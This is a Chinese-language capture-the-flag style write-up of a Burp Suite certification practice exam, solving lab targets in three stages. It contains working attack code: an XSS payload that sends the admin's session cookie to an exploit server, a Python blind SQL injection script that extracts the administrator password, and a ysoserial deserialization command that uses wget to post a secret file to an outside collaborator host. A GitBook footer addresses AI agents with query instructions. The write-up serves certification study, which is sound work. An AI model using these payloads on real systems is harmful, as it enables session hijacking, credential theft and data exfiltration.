> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md).

# BSCP 模拟考试 2 解题报告

## 阶段 1：初始访问（DOM XSS 与 Cookie 窃取）

利用向搜索参数（`find`）注入 JavaScript。挑战：存在限制某些字符使用的过滤器/WAF。

#### 1. 分析与绕过

在多次测试以逃逸现有的 JSON/JavaScript 结构之后：

```javascript
"};alert`1`//
","a":alert1}//
"-alert`1`-"
```

#### 2. 数据外带载荷

目标是通过让管理员携带其会话 Cookie，将其重定向到我们的利用服务器。

重定向载荷： `"};location='https://[EXPLOIT-SERVER]/log?c='+document.cookie;//`

{% code overflow="wrap" %}

```bash
"};location='https://exploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net/?c='+document.cookie;//
```

{% endcode %}

最终利用代码（通过利用服务器投递）：

```javascript
<script>
  location = "https://0a79004d04a329a7830bebde00dd0088.web-security-academy.net/?find=%22%7D%3Blocation%3D%27https%3A%2F%2Fexploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net%2F%3Fc%3D%27%2Bdocument.cookie%3B%2F%2F";
</script>
```

## 阶段 2：权限提升（基于时间的 SQL 注入）

利用点：向过滤后的搜索中的 `order` 参数注入 SQL。数据库：PostgreSQL。

#### 1. 注入验证

通过一个不会破坏排序的简单条件来确认注入： `ASC,(CASE WHEN (1=1) THEN 1 ELSE 2 END)`

#### 2. 提取自动化（盲注 SQLi）

由于应用程序不会直接返回带有内容的错误，因此使用基于时间的攻击。

载荷逻辑：脚本逐个字符检查 `administrator` 密码。如果字符正确，数据库会等待 3 秒（`pg_sleep(3)`).

提取脚本：

```python
import requests
import time

url = "https://[LAB-ID].web-security-academy.net/filtered_search"
cookies = {"session": "your_session_id"}
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""

for i in range(1, 21):
    for char in charset:
        # PostgreSQL 基于时间的载荷
        payload = f"ASC,(SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),{i},1)='{char}') THEN (SELECT 1 FROM pg_sleep(3)) ELSE 1 END)"

        params = {"find": "", "organize": "5", "order": payload}

        start = time.time()
        requests.get(url, params=params, cookies=cookies)

        if (time.time() - start) >= 2.8:
            password += char
            print(f"[+] 第 {i} 个字符：{char} -> {password}")
            break
```

## 阶段 3：文件系统访问（Java 反序列化）

目的：读取 `/home/carlos/secret` 通过不安全反序列化获取文件。

#### 1. Cookie 分析

该 `admin-prefs` Cookie 包含一个序列化的 Java 对象，经过 Gzip 压缩并以 Base64 编码。

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d;
```

{% endcode %}

#### 2. 载荷生成（Yesserial）

在这第二次审查中，识别出的易受攻击库是 CommonsCollections7。

生成控制：

{% code overflow="wrap" %}

```bash
CommonsCollections7 '/usr/bin/wget --post-file /home/carlos/secret https://kpd4qvnp2c1ae8xbhncxyu0fl6rzfp3e.oastify.com'
```

{% endcode %}

#### 3. 实施

步骤：将二进制文件压缩为 Gzip -> 编码为 Base64 -> 替换中的值 `admin-prefs` Cookie。

<figure><img src="/files/3a64488ace95f48896768dc45993643f1947daca" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.